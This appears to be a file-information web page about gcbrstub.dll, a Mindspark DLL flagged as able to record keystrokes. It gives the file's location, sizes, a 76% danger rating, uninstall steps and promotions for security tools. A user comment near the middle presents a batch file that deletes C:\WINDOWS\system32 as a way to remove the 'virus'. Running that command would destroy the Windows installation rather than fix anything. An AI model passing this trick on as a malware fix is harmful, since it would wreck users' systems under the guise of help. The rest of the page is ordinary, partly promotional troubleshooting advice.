How to remove the gcbrstub virus

Most antivirus programs identify gcbrstub.dll as malware.

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Gcbrstub.dll file information

The process known as VER_DESCRIPTION appears to belong to software Mindspark Interactive Network or VER_PRODUCT_NAME by VER_COMPANY_NAME.

Description: Gcbrstub.dll is not essential for Windows and will often cause problems. The gcbrstub.dll file is located in a subfolder of "C:\Program Files". Known file sizes on Windows 10/8/7/XP are 34,192 bytes (64% of all occurrences) or 63,560 bytes. 
A .dll file (Dynamic Link Library) is a special type of Windows program containing functions that other programs can call. This .dll file can be injected to all running processes and can change or manipulate their behavior. The program is not visible. The file has a digital signature. There is no detailed description of this service. The gcbrstub.dll file is not a Windows system file. The file is a Verisign signed file. The file is able to record keyboard inputs. Gcbrstub.dll is able to record keyboard and mouse inputs. Therefore the technical security rating is 76% dangerous, however you should also read the user reviews.

Uninstalling this variant: In case of problems with gcbrstub.dll, you can contact Customer Service or uninstall the associated program (Start > Control Panel > Uninstall a Program > Mindspark Interactive Network).

Recommended: Identify gcbrstub.dll related errors

Important: You should check the gcbrstub.dll process on your PC to see if it is a threat. We recommend Security Task Manager for verifying your computer's security. This was one of the Top Download Picks of The Washington Post and PC World.


User Comments

It's a virus! It records credit card info and hide in system 32 on windows computers! To get rid of this open a notepad type the following: @echo off del c:\WINDOWS\system32 save the file as anything.bat (remember to add the .bat extension and save as all files) double click and it will delete the system32 folder.
  Dr. Weisenberg  

Summary: Average user rating of gcbrstub.dll: based on 1 vote with 1 user comment. One user thinks gcbrstub.dll is dangerous and recommends removing it.

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Best practices for resolving gcbrstub issues

The following programs have also been shown useful for a deeper analysis: Security Task Manager examines the active gcbrstub process on your computer and clearly tells you what it is doing. Malwarebytes' well-known anti-malware tool tells you if the gcbrstub.dll on your computer displays annoying ads, slowing it down. This type of unwanted adware program is not considered by some antivirus software to be a virus and is therefore not marked for cleanup.

A clean and tidy computer is the key requirement for avoiding PC trouble. This means running a scan for malware, cleaning your hard drive using cleanmgr and sfc /scannow, uninstalling programs that you no longer need, checking for Autostart programs (using msconfig) and enabling Windows' Automatic Update. Always remember to perform periodic backups, or at least to set restore points.

Should you experience an actual problem, try to recall the last thing you did, or the last thing you installed before the problem appeared for the first time. Use the resmon command to identify the processes that are causing your problem. Even for serious problems, rather than reinstalling Windows, you are better off repairing of your installation or, for Windows 8 and later versions, executing the DISM.exe /Online /Cleanup-image /Restorehealth command. This allows you to repair the operating system without losing data.

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